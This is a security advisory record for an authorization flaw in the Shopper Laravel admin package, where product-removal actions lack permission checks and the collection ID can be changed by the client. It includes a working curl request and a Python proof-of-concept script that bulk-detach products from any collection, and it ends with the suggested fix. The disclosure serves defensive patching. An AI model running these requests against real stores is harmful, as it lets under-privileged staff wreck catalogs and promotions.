{"id":"CVE-2026-56825","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-56825","summary":"Shopper: Missing authorization on product removal actions in CollectionProducts component","details":"## Title\n\nMissing authorization on product removal actions in CollectionProducts component\n\n## Description\n\nA lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside `packages/admin/src/Livewire/Components/Collection/CollectionProducts.php`. Neither the `Action::make('delete')` at line 73 nor the `DeleteBulkAction::make()` at line 91 carries an `->authorize(...)` chain. The component also exposes `public Collection $collection` without `#[Locked]`, so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only `browse_collections`, can detach individual products or bulk-detach all products from any collection in the database.\n\n## Severity\n\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H  Score: 8.1  (High)\n\n## Affected files\n\n- `packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105`\n\n```php\n// Line 40 - client-mutable, no #[Locked]\npublic Collection $collection;\n\n// Lines 73-88 - per-record delete action, no ->authorize(...)\n->recordActions([\n    Action::make('delete')\n        ->label(__('shopper::forms.actions.delete'))\n        ->icon(Untitledui::Trash03)\n        ->iconButton()\n        ->color('danger')\n        ->requiresConfirmation()\n        ->action(function (Product $record): void {\n            $this->collection->products()->detach([$record->id]);\n            $this->dispatch('collection.add.product');\n            Notification::make()\n                ->title(__('shopper::pages/collections.remove_product'))\n                ->success()\n                ->send();\n        }),\n])\n\n// Lines 91-105 - bulk remove action, no ->authorize(...)\n->groupedBulkActions([\n    DeleteBulkAction::make()\n        ->label(__('shopper::forms.actions.delete'))\n        ->icon(Untitledui::Trash03)\n        ->requiresConfirmation()\n        ->action(function (EloquentCollection $records): void {\n            $this->collection->products()->detach($records->pluck('id')->toArray());\n            $this->dispatch('collection.add.product');\n            Notification::make()\n                ->title(__('shopper::pages/collections.remove_product'))\n                ->success()\n                ->send();\n        })\n        ->deselectRecordsAfterCompletion(),\n])\n```\n\n## Steps to reproduce\n\nPrerequisites: any admin-panel account, including one whose role holds only `browse_collections` (no `edit_collections` required).\n\n```bash\nSESSION=\"laravel_session=<your_session_value>\"\nXSRF=\"X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>\"\n\n# Step 1: Note the collection ID you wish to empty (e.g., collection_id=5).\n# Step 2: Call the bulk table action on the CollectionProducts component,\n#          substituting collection ID 5 in the component state.\n\ncurl -s -X POST http://localhost/shopper/livewire/update \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-XSRF-TOKEN: $XSRF\" \\\n  -H \"Cookie: $SESSION\" \\\n  -H \"X-Livewire: 1\" \\\n  -d '{\n    \"components\": [{\n      \"snapshot\": \"{\\\"id\\\":\\\"COLLECTION_PRODUCTS_COMPONENT_ID\\\",\\\"data\\\":{\\\"collection\\\":5},\\\"checksum\\\":\\\"...\\\"}\",\n      \"updates\": {},\n      \"calls\": [{\n        \"path\": \"\",\n        \"method\": \"callBulkAction\",\n        \"params\": [\"delete\", [1, 2, 3, 4, 5]]\n      }]\n    }]\n  }'\n# Expected: HTTP 200, all listed product IDs detached from collection 5,\n#           regardless of the caller having only browse_collections.\n```\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCollectionProducts authorization bypass PoC.\n\nSet these environment variables before running:\n  BASE_URL        e.g. http://localhost\n  SESSION_COOKIE  value of the laravel_session cookie\n  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie\n  COMPONENT_ID    Livewire component snapshot ID (from page source)\n  COLLECTION_ID   integer ID of the target collection\n  PRODUCT_IDS     comma-separated product IDs to detach (e.g. \"1,2,3\")\n\"\"\"\n\nimport json\nimport os\nimport requests\n\nbase_url      = os.environ['BASE_URL']\nsession       = os.environ['SESSION_COOKIE']\nxsrf          = os.environ['XSRF_TOKEN']\ncomponent_id  = os.environ['COMPONENT_ID']\ncollection_id = int(os.environ['COLLECTION_ID'])\nproduct_ids   = [int(x) for x in os.environ['PRODUCT_IDS'].split(',')]\n\nheaders = {\n    'Content-Type': 'application/json',\n    'Accept': 'text/html, application/xhtml+xml',\n    'X-XSRF-TOKEN': xsrf,\n    'Cookie': f'laravel_session={session}',\n    'X-Livewire': '1',\n}\n\nsnapshot = json.dumps({\n    'id': component_id,\n    'data': {'collection': collection_id},\n    'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',\n})\n\npayload = {\n    'components': [{\n        'snapshot': snapshot,\n        'updates': {},\n        'calls': [{\n            'path': '',\n            'method': 'callBulkAction',\n            'params': ['delete', product_ids],\n        }]\n    }]\n}\n\nr = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)\nprint(f'Status: {r.status_code}')\nprint(r.text[:500])\n```\n\n## Impact\n\nA staff member holding only `browse_collections` can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because `$collection` is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.\n\n## Suggested fix\n\n```php\n// packages/admin/src/Livewire/Components/Collection/CollectionProducts.php\n\nuse Livewire\\Attributes\\Locked;\n\n#[Locked]                          // prevent client-side ID substitution\npublic Collection $collection;\n\n// Per-record action:\nAction::make('delete')\n    ->authorize('edit_collections')  // add this\n    ->action(function (Product $record): void {\n        $this->collection->products()->detach([$record->id]);\n        // ...\n    }),\n\n// Bulk action:\nDeleteBulkAction::make()\n    ->authorize('edit_collections')  // add this\n    ->action(function (EloquentCollection $records): void {\n        $this->collection->products()->detach($records->pluck('id')->toArray());\n        // ...\n    })\n```\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).","published":"2026-09-11T21:31:26Z","modified":"2026-09-11T21:45:09.885564731Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Packagist","name":"shopper/framework","fixedVersion":"2.9.2"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/shopperlabs/shopper/security/advisories/GHSA-2cg9-97gq-9mqp"},{"type":"PACKAGE","url":"https://github.com/shopperlabs/shopper"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-11T21:45:09.885564731Z"}}